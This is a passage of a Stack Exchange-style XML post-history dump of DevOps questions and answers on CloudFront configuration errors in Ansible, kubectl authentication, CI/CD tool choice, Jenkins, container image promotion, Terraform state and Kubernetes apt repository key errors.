&quot;invocation&quot;: {&#xD;&#xA;        &quot;module_args&quot;: {&#xD;&#xA;            &quot;alias&quot;: &quot;v6-full-deployment.icloudcms.com&quot;,&#xD;&#xA;            &quot;aliases&quot;: [&#xD;&#xA;                &quot;v6-full-deployment.icloudcms.com&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;aws_access_key&quot;: null,&#xD;&#xA;            &quot;aws_ca_bundle&quot;: null,&#xD;&#xA;            &quot;aws_config&quot;: null,&#xD;&#xA;            &quot;aws_secret_key&quot;: null,&#xD;&#xA;            &quot;cache_behaviors&quot;: [&#xD;&#xA;                {&#xD;&#xA;                    &quot;forwarded_values&quot;: {&#xD;&#xA;                        &quot;allowed_methods&quot;: [&#xD;&#xA;                            &quot;GET&quot;,&#xD;&#xA;                            &quot;HEAD&quot;&#xD;&#xA;                        ],&#xD;&#xA;                        &quot;compress&quot;: false,&#xD;&#xA;                        &quot;cookies&quot;: {&#xD;&#xA;                            &quot;forward&quot;: &quot;all&quot;&#xD;&#xA;                        },&#xD;&#xA;                        &quot;default_ttl&quot;: 0,&#xD;&#xA;                        &quot;headers&quot;: [&#xD;&#xA;                            &quot;Authorization&quot;,&#xD;&#xA;                            &quot;Referer&quot;,&#xD;&#xA;                            &quot;User-Agent&quot;&#xD;&#xA;                        ],&#xD;&#xA;                        &quot;items&quot;: [&#xD;&#xA;                            &quot;GET&quot;,&#xD;&#xA;                            &quot;HEAD&quot;,&#xD;&#xA;                            &quot;OPTIONS&quot;,&#xD;&#xA;                            &quot;PUT&quot;,&#xD;&#xA;                            &quot;POST&quot;,&#xD;&#xA;                            &quot;PATCH&quot;,&#xD;&#xA;                            &quot;DELETE&quot;&#xD;&#xA;                        ],&#xD;&#xA;                        &quot;max_ttl&quot;: 0,&#xD;&#xA;                        &quot;min_ttl&quot;: 0,&#xD;&#xA;                        &quot;query_string&quot;: true,&#xD;&#xA;                        &quot;query_string_cache_keys&quot;: [&#xD;&#xA;                            &quot;*&quot;&#xD;&#xA;                        ],&#xD;&#xA;                        &quot;smooth_streaming&quot;: false,&#xD;&#xA;                        &quot;trusted_signers&quot;: {&#xD;&#xA;                            &quot;enabled&quot;: false&#xD;&#xA;                        },&#xD;&#xA;                        &quot;viewer_protocol_policy&quot;: &quot;redirect-to-https&quot;&#xD;&#xA;                    },&#xD;&#xA;                    &quot;path_pattern&quot;: &quot;api/*&quot;,&#xD;&#xA;                    &quot;target_origin_id&quot;: &quot;api.v6-full-deployment.icloudcms.com&quot;&#xD;&#xA;                },&#xD;&#xA;                {&#xD;&#xA;                    &quot;forwarded_values&quot;: {&#xD;&#xA;                        &quot;allowed_methods&quot;: [&#xD;&#xA;                            &quot;GET&quot;,&#xD;&#xA;                            &quot;HEAD&quot;&#xD;&#xA;                        ],&#xD;&#xA;                        &quot;compress&quot;: false,&#xD;&#xA;                        &quot;cookies&quot;: {&#xD;&#xA;                            &quot;forward&quot;: &quot;all&quot;&#xD;&#xA;                        },&#xD;&#xA;                        &quot;default_ttl&quot;: 0,&#xD;&#xA;                        &quot;headers&quot;: [&#xD;&#xA;                            &quot;Authorization&quot;,&#xD;&#xA;                            &quot;User-Agent&quot;&#xD;&#xA;                        ],&#xD;&#xA;                        &quot;items&quot;: [&#xD;&#xA;                            &quot;GET&quot;,&#xD;&#xA;                            &quot;HEAD&quot;&#xD;&#xA;                        ],&#xD;&#xA;                        &quot;max_ttl&quot;: 0,&#xD;&#xA;                        &quot;min_ttl&quot;: 0,&#xD;&#xA;                        &quot;query_string&quot;: true,&#xD;&#xA;                        &quot;query_string_cache_keys&quot;: [&#xD;&#xA;                            &quot;*&quot;&#xD;&#xA;                        ],&#xD;&#xA;                        &quot;smooth_streaming&quot;: false,&#xD;&#xA;                        &quot;trusted_signers&quot;: {&#xD;&#xA;                            &quot;enabled&quot;: false&#xD;&#xA;                        },&#xD;&#xA;                        &quot;viewer_protocol_policy&quot;: &quot;redirect-to-https&quot;&#xD;&#xA;                    },&#xD;&#xA;                    &quot;path_pattern&quot;: &quot;testapi*&quot;,&#xD;&#xA;                    &quot;target_origin_id&quot;: &quot;api.v6-full-deployment.icloudcms.com&quot;&#xD;&#xA;                }&#xD;&#xA;            ],&#xD;&#xA;            &quot;caller_reference&quot;: &quot;v6-full-deployment.icloudcms.com&quot;,&#xD;&#xA;            &quot;comment&quot;: &quot;Cloudfront distribution for v6-full-deployment.icloudcms.com interface and API reverse proxy&quot;,&#xD;&#xA;            &quot;custom_error_responses&quot;: [&#xD;&#xA;                {&#xD;&#xA;                    &quot;error_caching_min_ttl&quot;: 10,&#xD;&#xA;                    &quot;error_code&quot;: 403,&#xD;&#xA;                    &quot;response_code&quot;: 200,&#xD;&#xA;                    &quot;response_page_path&quot;: &quot;/index.html&quot;&#xD;&#xA;                },&#xD;&#xA;                {&#xD;&#xA;                    &quot;error_caching_min_ttl&quot;: 10,&#xD;&#xA;                    &quot;error_code&quot;: 404,&#xD;&#xA;                    &quot;response_code&quot;: 200,&#xD;&#xA;                    &quot;response_page_path&quot;: &quot;/index.html&quot;&#xD;&#xA;                }&#xD;&#xA;            ],&#xD;&#xA;            &quot;debug_botocore_endpoint_logs&quot;: false,&#xD;&#xA;            &quot;default_cache_behavior&quot;: {&#xD;&#xA;                &quot;forwarded_values&quot;: {&#xD;&#xA;                    &quot;allowed_methods&quot;: [&#xD;&#xA;                        &quot;GET&quot;,&#xD;&#xA;                        &quot;HEAD&quot;&#xD;&#xA;                    ],&#xD;&#xA;                    &quot;compress&quot;: true,&#xD;&#xA;                    &quot;cookies&quot;: {&#xD;&#xA;                        &quot;forward&quot;: &quot;none&quot;&#xD;&#xA;                    },&#xD;&#xA;                    &quot;default_ttl&quot;: 86400,&#xD;&#xA;                    &quot;items&quot;: [&#xD;&#xA;                        &quot;GET&quot;,&#xD;&#xA;                        &quot;HEAD&quot;&#xD;&#xA;                    ],&#xD;&#xA;                    &quot;max_ttl&quot;: 31536000,&#xD;&#xA;                    &quot;min_ttl&quot;: 1,&#xD;&#xA;                    &quot;query_string&quot;: false,&#xD;&#xA;                    &quot;smooth_streaming&quot;: false,&#xD;&#xA;                    &quot;trusted_signers&quot;: {&#xD;&#xA;                        &quot;enabled&quot;: false&#xD;&#xA;                    },&#xD;&#xA;                    &quot;viewer_protocol_policy&quot;: &quot;redirect-to-https&quot;&#xD;&#xA;                },&#xD;&#xA;                &quot;target_origin_id&quot;: &quot;v6-full-deployment-s3-bucket.s3-website-us-gov-west-1.amazonaws.com&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;default_origin_domain_name&quot;: null,&#xD;&#xA;            &quot;default_origin_path&quot;: null,&#xD;&#xA;            &quot;default_root_object&quot;: &quot;index.html&quot;,&#xD;&#xA;            &quot;distribution_id&quot;: null,&#xD;&#xA;            &quot;e_tag&quot;: null,&#xD;&#xA;            &quot;ec2_url&quot;: null,&#xD;&#xA;            &quot;enabled&quot;: true,&#xD;&#xA;            &quot;http_version&quot;: &quot;http2&quot;,&#xD;&#xA;            &quot;ipv6_enabled&quot;: false,&#xD;&#xA;            &quot;logging&quot;: null,&#xD;&#xA;            &quot;origins&quot;: [&#xD;&#xA;                {&#xD;&#xA;                    &quot;custom_headers&quot;: {&#xD;&#xA;                        &quot;quantity&quot;: 0&#xD;&#xA;                    },&#xD;&#xA;                    &quot;custom_origin_config&quot;: {&#xD;&#xA;                        &quot;h_t_t_p_port&quot;: 80,&#xD;&#xA;                        &quot;h_t_t_p_s_port&quot;: 443,&#xD;&#xA;                        &quot;origin_keepalive_timeout&quot;: 5,&#xD;&#xA;                        &quot;origin_protocol_policy&quot;: &quot;https-only&quot;,&#xD;&#xA;                        &quot;origin_read_timeout&quot;: 10,&#xD;&#xA;                        &quot;origin_ssl_protocols&quot;: [&#xD;&#xA;                            &quot;TLSv1.2&quot;&#xD;&#xA;                        ]&#xD;&#xA;                    },&#xD;&#xA;                    &quot;domain_name&quot;: &quot;api.v6-full-deployment.icloudcms.com&quot;,&#xD;&#xA;                    &quot;id&quot;: &quot;api.v6-full-deployment.icloudcms.com&quot;,&#xD;&#xA;                    &quot;origin_path&quot;: &quot;&quot;&#xD;&#xA;                },&#xD;&#xA;                {&#xD;&#xA;                    &quot;custom_origin_config&quot;: {&#xD;&#xA;                        &quot;http_port&quot;: 80,&#xD;&#xA;                        &quot;https_port&quot;: 443,&#xD;&#xA;                        &quot;origin_keepalive_timeout&quot;: 5,&#xD;&#xA;                        &quot;origin_protocol_policy&quot;: &quot;http-only&quot;,&#xD;&#xA;                        &quot;origin_read_timeout&quot;: 10,&#xD;&#xA;                        &quot;origin_ssl_protocols&quot;: [&#xD;&#xA;                            &quot;TLSv1.2&quot;&#xD;&#xA;                        ]&#xD;&#xA;                    },&#xD;&#xA;                    &quot;domain_name&quot;: &quot;v6-full-deployment-s3-bucket.s3-website-us-gov-west-1.amazonaws.com&quot;,&#xD;&#xA;                    &quot;id&quot;: &quot;v6-full-deployment-s3-bucket-www.s3-website-us-gov-west-1.amazonaws.com&quot;&#xD;&#xA;                }&#xD;&#xA;            ],&#xD;&#xA;            &quot;price_class&quot;: &quot;PriceClass_100&quot;,&#xD;&#xA;            &quot;profile&quot;: &quot;vst_nongov&quot;,&#xD;&#xA;            &quot;purge_aliases&quot;: false,&#xD;&#xA;            &quot;purge_cache_behaviors&quot;: false,&#xD;&#xA;            &quot;purge_custom_error_responses&quot;: false,&#xD;&#xA;            &quot;purge_origins&quot;: false,&#xD;&#xA;            &quot;purge_tags&quot;: false,&#xD;&#xA;            &quot;region&quot;: null,&#xD;&#xA;            &quot;restrictions&quot;: null,&#xD;&#xA;            &quot;security_token&quot;: null,&#xD;&#xA;            &quot;state&quot;: &quot;present&quot;,&#xD;&#xA;            &quot;tags&quot;: {&#xD;&#xA;                &quot;Name&quot;: &quot;v6-full-deployment&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;validate_certs&quot;: true,&#xD;&#xA;            &quot;viewer_certificate&quot;: {&#xD;&#xA;                &quot;acm_certificate_arn&quot;: &quot;xxxxxxxxxxOBFUSCATED&quot;,&#xD;&#xA;                &quot;cloudfront_default_certificate&quot;: false,&#xD;&#xA;                &quot;minimum_protocol_version&quot;: &quot;TLSv1.2_2019&quot;,&#xD;&#xA;                &quot;ssl_support_method&quot;: &quot;sni-only&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;wait&quot;: true,&#xD;&#xA;            &quot;wait_timeout&quot;: 1800,&#xD;&#xA;            &quot;web_acl_id&quot;: null&#xD;&#xA;        }&#xD;&#xA;    },&#xD;&#xA;    &quot;msg&quot;: &quot;Error validating distribution origins: 'list' object has no attribute 'get'&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/collections/community/aws/cloudfront_distribution_module.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="42964" PostHistoryTypeId="1" PostId="13639" RevisionGUID="5325d148-47e0-4562-9ca9-9d6e31378111" CreationDate="2021-03-30T17:55:09.197" UserId="25042" Text="Unexpected type error in ansible community.aws.coudfront_distribution: &quot;origins&quot; parameter: &quot;'list' object has no attribute 'get'&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="42965" PostHistoryTypeId="3" PostId="13639" RevisionGUID="5325d148-47e0-4562-9ca9-9d6e31378111" CreationDate="2021-03-30T17:55:09.197" UserId="25042" Text="&lt;amazon-web-services&gt;&lt;ansible&gt;&lt;amazon-cloudfront&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="42966" PostHistoryTypeId="34" PostId="13581" RevisionGUID="397f3032-d6d0-42e8-8466-a4bccc28a678" CreationDate="2021-03-30T19:03:20.367" UserId="-1" Comment="69" />
  <row Id="42967" PostHistoryTypeId="5" PostId="12964" RevisionGUID="4d107a20-bbef-40f0-8a52-77e1cb2434ef" CreationDate="2021-03-30T19:07:36.373" UserId="13139" Comment="Improve spelling and tags" Text="When our site is getting deployed, the Ingress gets created and before I could get any response I get 503 for 5-6 minutes (time taken to startup).&#xD;&#xA;&#xD;&#xA;We need to configure our ingress to redirect to a static page that is custom-made instead of the 503 error. Can I add an annotation to achieve this? If yes, please give me an example for redirect config using the status code." ContentLicense="CC BY-SA 4.0" />
  <row Id="42968" PostHistoryTypeId="24" PostId="12964" RevisionGUID="4d107a20-bbef-40f0-8a52-77e1cb2434ef" CreationDate="2021-03-30T19:07:36.373" Comment="Proposed by 13139 approved by 40 edit id of 1363" ContentLicense="CC BY-SA 4.0" />
  <row Id="42969" PostHistoryTypeId="5" PostId="13632" RevisionGUID="f3bb49e3-3fba-420a-b885-824bb1082c77" CreationDate="2021-03-30T19:07:45.517" UserId="13139" Comment="Improved formatting and spelling" Text="I created a kubernetes cluster using `kops` and deployed it in AWS (not EKS manual cluster using `kops`).&#xD;&#xA;&#xD;&#xA;Then I export in my local machine the configuration like&#xD;&#xA;`kops export kubecfg --state ${KOPS_STATE_STORE} --name ${NAME}`&#xD;&#xA;&#xD;&#xA;Then running any kubectl command asks for a username, even `kubectl` version&#xD;&#xA;```&#xD;&#xA; kubectl version&#xD;&#xA;Please enter Username: &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;PS: If I `ssh` into bastion host then `ssh` into k8s master node, kubectl works fine and its configuration is referring to local user created.&#xD;&#xA;&#xD;&#xA;My local config created from export command into `~/.kube/config` looks like:&#xD;&#xA;```&#xD;&#xA;apiVersion: v1&#xD;&#xA;clusters:&#xD;&#xA;- cluster:&#xD;&#xA;    certificate-authority-data: fakedata=&#xD;&#xA;    server: https://api-test-intern-doesntmatter.eu-central-1.elb.amazonaws.com&#xD;&#xA;  name: test-internet.k8s.local&#xD;&#xA;contexts:&#xD;&#xA;- context:&#xD;&#xA;    cluster: test-internet.k8s.local&#xD;&#xA;    user: test-internet.k8s.local&#xD;&#xA;  name: test-internet.k8s.local&#xD;&#xA;current-context: test-internet.k8s.local&#xD;&#xA;kind: Config&#xD;&#xA;preferences: {}&#xD;&#xA;users:&#xD;&#xA;- name: test-internet.k8s.local&#xD;&#xA;  user: {}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And with the config above I cannot do any `kubectl` command.&#xD;&#xA;Where can I find the username and password for `kubectl`?&#xD;&#xA;I have set authentication as RBAC for the cluster and no limitations.&#xD;&#xA;&#xD;&#xA;I read all article here https://kubernetes.io/docs/reference/access-authn-authz/authentication/ and still do not understand what is the default username password why am I asked for such credentials I haven't created any role or user." ContentLicense="CC BY-SA 4.0" />
  <row Id="42970" PostHistoryTypeId="24" PostId="13632" RevisionGUID="f3bb49e3-3fba-420a-b885-824bb1082c77" CreationDate="2021-03-30T19:07:45.517" Comment="Proposed by 13139 approved by 40 edit id of 1361" ContentLicense="CC BY-SA 4.0" />
  <row Id="42971" PostHistoryTypeId="2" PostId="13640" RevisionGUID="900bff44-4c90-4f94-904a-86c16616ad96" CreationDate="2021-03-30T19:31:41.670" UserId="13" Text="A bit too long for a comment, so converting to an answer:&#xD;&#xA;&#xD;&#xA;That's super broad and highly depends on your final needs IMHO, if you're full AWS and ok with being vendor locked down, then code commit/code build/code pipeline is great as it's nicely integrated now. &#xD;&#xA;&#xD;&#xA;If you have needs outside pure AWS services, that may get harder, for exemple if you plan on stretching on multiple cloud vendors in a always on DRP (Disaster Recovery Plan), that's probably not the better tool.&#xD;&#xA;&#xD;&#xA;My take is that for a full AWS things, AWS products are good and *usually* soften the edges, but if you need to interact with things out of AWS, there's solution more aimed at CI/CD like Bitbucket, as you said but that'd be my last choice, CircleCi, Travis, Github Actions and Gitlab.&#xD;&#xA;&#xD;&#xA;The CI/CD cost is rarely a concern, even if you have a super large company with dozens of products, the code repository and user management costs will probably out-stand the pipeline costs by a large factor unless you run thousands of pipelines per day.&#xD;&#xA;&#xD;&#xA;My *personal* preference goes to Gitlab for its versatility in pipelines, how easy internal runners are to setup and to avoid vendor lock down on the hosting." ContentLicense="CC BY-SA 4.0" />
  <row Id="42972" PostHistoryTypeId="5" PostId="13638" RevisionGUID="ea71352f-97ab-4f27-bd6b-a0c30bac71fa" CreationDate="2021-03-30T20:15:44.567" UserId="12911" Comment="added 39 characters in body" Text="What are the advantages of using AWS Codepipeline/code build for our pipeline over the bitbucket pipeline. ?&#xD;&#xA;&#xD;&#xA;Some of the factors that I can think of:&#xD;&#xA;&#xD;&#xA;   1.  Pricing? &#xD;&#xA;   2.  Pipeline for a serverless application &#xD;&#xA;   3.  integration with AWS&#xD;&#xA;   4.  services &#xD;&#xA;   5.  Speed of execution" ContentLicense="CC BY-SA 4.0" />
  <row Id="42973" PostHistoryTypeId="50" PostId="12667" RevisionGUID="03d33035-2d62-4c9a-bd53-28e533aa15ca" CreationDate="2021-03-31T04:02:15.300" UserId="-1" />
  <row Id="42976" PostHistoryTypeId="2" PostId="13642" RevisionGUID="3294d70c-3c74-41a9-85b2-04961d238640" CreationDate="2021-03-31T10:13:48.687" UserId="26906" Text="What do you think about having one master and no slave configured on Jenkins but having an SSH connection to remote machines initialized in the jobs directly that allow the execution of the build and then, kill the connection instead of creating Jenkins slaves that target the remote machines ?&#xD;&#xA;&#xD;&#xA;I ask this question because I would like to avoid Jenkins slave connectivity issues we are facing, especially with Windows remote machines.&#xD;&#xA;&#xD;&#xA;Thanks in advance :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="42977" PostHistoryTypeId="1" PostId="13642" RevisionGUID="3294d70c-3c74-41a9-85b2-04961d238640" CreationDate="2021-03-31T10:13:48.687" UserId="26906" Text="Use Jenkins without any slaves created (SSH on target machines to launch commands)" ContentLicense="CC BY-SA 4.0" />
  <row Id="42978" PostHistoryTypeId="3" PostId="13642" RevisionGUID="3294d70c-3c74-41a9-85b2-04961d238640" CreationDate="2021-03-31T10:13:48.687" UserId="26906" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="42979" PostHistoryTypeId="50" PostId="13451" RevisionGUID="6cfdc961-01ba-4780-aef2-f297ef253d5d" CreationDate="2021-03-31T13:03:40.383" UserId="-1" />
  <row Id="42980" PostHistoryTypeId="50" PostId="13455" RevisionGUID="76fc39f2-600e-46ac-acda-771d0d7d22c5" CreationDate="2021-03-31T14:04:10.380" UserId="-1" />
  <row Id="42984" PostHistoryTypeId="2" PostId="13644" RevisionGUID="6ca9b645-49c0-4ec3-b6ce-086eced120bb" CreationDate="2021-04-01T04:00:23.913" UserId="6247" Text="We have started doing some initial work on deploying containers on ECS Fargate service.&#xD;&#xA;&#xD;&#xA;However we are not yet completely figured out how to manage our image promotion across different environments.&#xD;&#xA;&#xD;&#xA;In our case, developers managed their own environment so they can deploy the docker image specifying just the tag of something they have built.&#xD;&#xA;&#xD;&#xA;We only have UAT and PROD environments , As of now whatever we have in `develop` branch got baked in as image and pushed to ECR as `develop` tag and that gets deployed to UAT.&#xD;&#xA;&#xD;&#xA;we release the code from develop to master as part of our release process.&#xD;&#xA;&#xD;&#xA;During the release process ( from develop to master merge ) we create another container image this time on merge to master and that gets pushed to ECR as `master` tag which gets deployed to PROD.&#xD;&#xA;&#xD;&#xA;I think this process is not ideal and it can be improved by a lot margin.&#xD;&#xA;&#xD;&#xA;1. We shouldn't need to create image on each stage and should promote the same image tag in across environments ( i.e whatever we have in UAT will get QA/TESTED and released to PROD as artifact ), how are you managing this image promotion across environment ? what are other release process look like ?&#xD;&#xA;&#xD;&#xA;2. We are currently tagging our image as branch tag i.e develop or master , How are you managing these tags creation ? Are you using GIT SHA ? or Sem ver ?&#xD;&#xA;&#xD;&#xA;Any other improvements or general comments can be really helpful as well." ContentLicense="CC BY-SA 4.0" />
  <row Id="42985" PostHistoryTypeId="1" PostId="13644" RevisionGUID="6ca9b645-49c0-4ec3-b6ce-086eced120bb" CreationDate="2021-04-01T04:00:23.913" UserId="6247" Text="Container Image Promotion across environments in ECR/ECS" ContentLicense="CC BY-SA 4.0" />
  <row Id="42986" PostHistoryTypeId="3" PostId="13644" RevisionGUID="6ca9b645-49c0-4ec3-b6ce-086eced120bb" CreationDate="2021-04-01T04:00:23.913" UserId="6247" Text="&lt;amazon-web-services&gt;&lt;continuous-integration&gt;&lt;containers&gt;&lt;continuous-deployment&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="42987" PostHistoryTypeId="2" PostId="13645" RevisionGUID="4af93b1d-a690-414f-a218-0f497107e824" CreationDate="2021-04-01T05:53:26.410" UserId="354" Text="Although difficult to give a canonical answer, I think I understand your frustration. My opinion is  that you are focussing on promoting the wrong thing - the image.&#xD;&#xA;&#xD;&#xA;I would start with the concept of [&quot;Dev-Prod parity&quot;](https://12factor.net/dev-prod-parity) (or in your case, UAT/Prod parity). This concept says:&#xD;&#xA;&#xD;&#xA;&gt; Keep development, staging, and production as similar as possible&#xD;&#xA;&#xD;&#xA;The simplest way to do this is to use the _same_ image in the two environments. The difference between them comes from the [configuration](https://12factor.net/config) and [backing services](https://12factor.net/backing-services). These are set at run time, not at build time - _ie_ they are changed when you start the container not when you build it.&#xD;&#xA;&#xD;&#xA;So, your process should look like:&#xD;&#xA;&#xD;&#xA;1. Build the image, tag it with `uat`&#xD;&#xA;1. UAT environment discovers new image, new image gets deployed&#xD;&#xA;1. Run UAT against new deploy, they pass&#xD;&#xA;1. **tag that same image with `latest`**&#xD;&#xA;1. Prod discovers new image, gets deployed.&#xD;&#xA;&#xD;&#xA;This process is extremely lightweight and you will have certainty in what is deployed.&#xD;&#xA;&#xD;&#xA;TL;DR instead of promoting images and having to rebuild them, just shift the tag used in prod." ContentLicense="CC BY-SA 4.0" />
  <row Id="42988" PostHistoryTypeId="2" PostId="13646" RevisionGUID="a86eff9c-97d8-4bc6-9525-f592a671a4a9" CreationDate="2021-04-01T06:33:50.997" UserId="26921" Text="My question is basically are there any advantages of maintaining both Infra-Structure (Infra-as-code) and application/service (helm chart deployment using helm_release provider of terraform ) under one state file.&#xD;&#xA;&#xD;&#xA;I basically don't like this idea of maintaining both infra and application under one state file. because for some reason it could be possible that our intention was just to change application however as there is one state file it could detect some other infra related change, and it will deploy them. (which could have negative impact on infra)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;however I would like to be open and see suggestion, if there are any advantages which maintaining one state file provides. " ContentLicense="CC BY-SA 4.0" />
  <row Id="42989" PostHistoryTypeId="1" PostId="13646" RevisionGUID="a86eff9c-97d8-4bc6-9525-f592a671a4a9" CreationDate="2021-04-01T06:33:50.997" UserId="26921" Text="Terrafrom to be utilize for both infra and application deployment under one state file" ContentLicense="CC BY-SA 4.0" />
  <row Id="42990" PostHistoryTypeId="3" PostId="13646" RevisionGUID="a86eff9c-97d8-4bc6-9525-f592a671a4a9" CreationDate="2021-04-01T06:33:50.997" UserId="26921" Text="&lt;terraform&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="42991" PostHistoryTypeId="2" PostId="13647" RevisionGUID="3bb2281e-5f37-4946-80f4-fe840e4502b0" CreationDate="2021-04-01T07:06:43.673" UserId="26604" Text="I am trying to use the credentials parameter for a git clone.  But i am getting the error that the variables are not found&#xD;&#xA;&#xD;&#xA;Param definition&#xD;&#xA;&#xD;&#xA;      credentials (credentialType: 'Username with password', defaultValue: 'fcb2d7c3-4b35-4ef2-bdf0-24fc4ff1137c', description: 'Git credential', name: 'git_credential', required: true)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Usage in stage&#xD;&#xA;&#xD;&#xA;    withCredentials([usernamePassword(credentialsId: params.git_credential, passwordVariable: 'DOCKER_PASSWORD', usernameVariable: 'DOCKER_USERNAME')]) {&#xD;&#xA;	sh 'git reset --hard; git clone https://${DOCKER_USERNAME}:${DOCKER_PASSWORD}@repo_url/scm/${params.repository}.git --branch master'&#xD;&#xA;&#xD;&#xA;&gt; Error: Wrong variable used " ContentLicense="CC BY-SA 4.0" />
  <row Id="42992" PostHistoryTypeId="1" PostId="13647" RevisionGUID="3bb2281e-5f37-4946-80f4-fe840e4502b0" CreationDate="2021-04-01T07:06:43.673" UserId="26604" Text="Jenkinsfile credential as paramter unable to use it" ContentLicense="CC BY-SA 4.0" />
  <row Id="42993" PostHistoryTypeId="3" PostId="13647" RevisionGUID="3bb2281e-5f37-4946-80f4-fe840e4502b0" CreationDate="2021-04-01T07:06:43.673" UserId="26604" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;&lt;groovy&gt;&lt;credentials&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="42994" PostHistoryTypeId="5" PostId="13646" RevisionGUID="316114b4-d9b8-4a9a-9bb6-943d9bae1d58" CreationDate="2021-04-01T08:15:06.367" UserId="354" Comment="Fix grammar" Text="Are there any advantages of maintaining both infrastructure (Infra-as-code) and application/service (helm chart deployment using helm_release provider of terraform ) under one state file?&#xD;&#xA;&#xD;&#xA;I don't like the idea of maintaining both infra and application under one state, because for some reason it could be possible that our intention was just to change application however as there is one state and it could detect some other infra related change, and it will deploy them, which could have unintended consequences on the infrastructure.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;however I would like to be open and see suggestion, if there are any advantages which maintaining one state file provides. " ContentLicense="CC BY-SA 4.0" />
  <row Id="42995" PostHistoryTypeId="4" PostId="13646" RevisionGUID="316114b4-d9b8-4a9a-9bb6-943d9bae1d58" CreationDate="2021-04-01T08:15:06.367" UserId="354" Comment="Fix grammar" Text="Terrafrom to declare both infra and application deployment in one state" ContentLicense="CC BY-SA 4.0" />
  <row Id="42997" PostHistoryTypeId="2" PostId="13648" RevisionGUID="65b9b935-6d0f-474d-a700-7f6820a4419c" CreationDate="2021-04-01T10:44:25.253" UserId="19963" Text="&gt; 1. We shouldn't need to create image on each stage and should promote the same image tag in across environments ( i.e whatever we have in UAT will get QA/TESTED and released to PROD as artifact ), how are you managing this image promotion across environment ? what are other release process look like ?&#xD;&#xA;&#xD;&#xA;Yes, rebuilding images is considered an anti-pattern in containerized world. While Bruce's solution with re-tagging in a sibling answer is neat, it doesn't solve rollbacks.&#xD;&#xA;&#xD;&#xA;Recommended approach for production is to pin your images to their sha256 digests. So image definition in task would be something like *myregistry/myimage@sha256:shadigestgoeshere*. This ensures maximum degree of control what image gets deployed.&#xD;&#xA;&#xD;&#xA;In some cases people update those tags manually, which is pretty tedious and brittle. However, there exists specialized tooling which keeps track of versions and routes what images should go there (dislaimer: I'm working on a tool of this sort - Reliza Hub).&#xD;&#xA;&#xD;&#xA;&gt; 2. We are currently tagging our image as branch tag i.e develop or master , How are you managing these tags creation ? Are you using GIT SHA ? or Sem ver ?&#xD;&#xA;&#xD;&#xA;It is common to use version, git sha and branch as image tags. It is fine to have same image tagged with all of them, so in example you may have all of the following for same image:&#xD;&#xA;- myregistry/myimage:mybranch&#xD;&#xA;- myregistry/myimage:0.1.0&#xD;&#xA;- myregistry/myimage:mygitsha&#xD;&#xA;&#xD;&#xA;This can be achieved very easily by just adding multiple -t flags on docker build command. Again, remember that images under same tag can mutate (unless you use some special constraints on docker registry side which is rare) - so the only good way to ensure exact image getting deployed is using sha256 digests in production manifests.&#xD;&#xA;&#xD;&#xA;&gt; Any other improvements or general comments can be really helpful as well.&#xD;&#xA;&#xD;&#xA;It is recommended to label images with version, branch, git commit, some ci metadata. This way when you do image inspect, you know right away what it is. See my toy project here for an example how to do labelling via build args - https://github.com/taleodor/mafia-vue ." ContentLicense="CC BY-SA 4.0" />
  <row Id="42998" PostHistoryTypeId="2" PostId="13649" RevisionGUID="9632249b-5f82-4164-8ff1-ccad1388dd9f" CreationDate="2021-04-01T13:13:22.180" UserId="18637" Text="Heys dudes,&#xD;&#xA;&#xD;&#xA;More someone got error when trying update cache of the Google K8s repositories?&#xD;&#xA;I have been got the error about **NO_PUBKEY**&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Err:10 https://packages.cloud.google.com/apt kubernetes-xenial InRelease        &#xD;&#xA;  The following signatures were invalid: EXPKEYSIG 6A030B21BA07F4FB Google Cloud Packages Automatic Signing Key &lt;gc-team@google.com&gt; The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 8B57C5C2836F4BEB&#xD;&#xA;```&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;W: An error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error: https://packages.cloud.google.com/apt kubernetes-xenial InRelease: The following signatures were invalid: EXPKEYSIG 6A030B21BA07F4FB Google Cloud Packages Automatic Signing Key &lt;gc-team@google.com&gt; The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 8B57C5C2836F4BEB&#xD;&#xA;W: Failed to fetch http://apt.kubernetes.io/dists/kubernetes-xenial/InRelease  The following signatures were invalid: EXPKEYSIG 6A030B21BA07F4FB Google Cloud Packages Automatic Signing Key &lt;gc-team@google.com&gt; The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 8B57C5C2836F4BEB&#xD;&#xA;W: Some index files failed to download. They have been ignored, or old ones used instead.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Something was changed?" ContentLicense="CC BY-SA 4.0" />
  <row Id="42999" PostHistoryTypeId="1" PostId="13649" RevisionGUID="9632249b-5f82-4164-8ff1-ccad1388dd9f" CreationDate="2021-04-01T13:13:22.180" UserId="18637" Text="Google K8s Mirror offline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43000" PostHistoryTypeId="3" PostId="13649" RevisionGUID="9632249b-5f82-4164-8ff1-ccad1388dd9f" CreationDate="2021-04-01T13:13:22.180" UserId="18637" Text="&lt;kubernetes&gt;&lt;apt&gt;&lt;google&gt;" ContentLicense="CC BY-SA 4.0" />
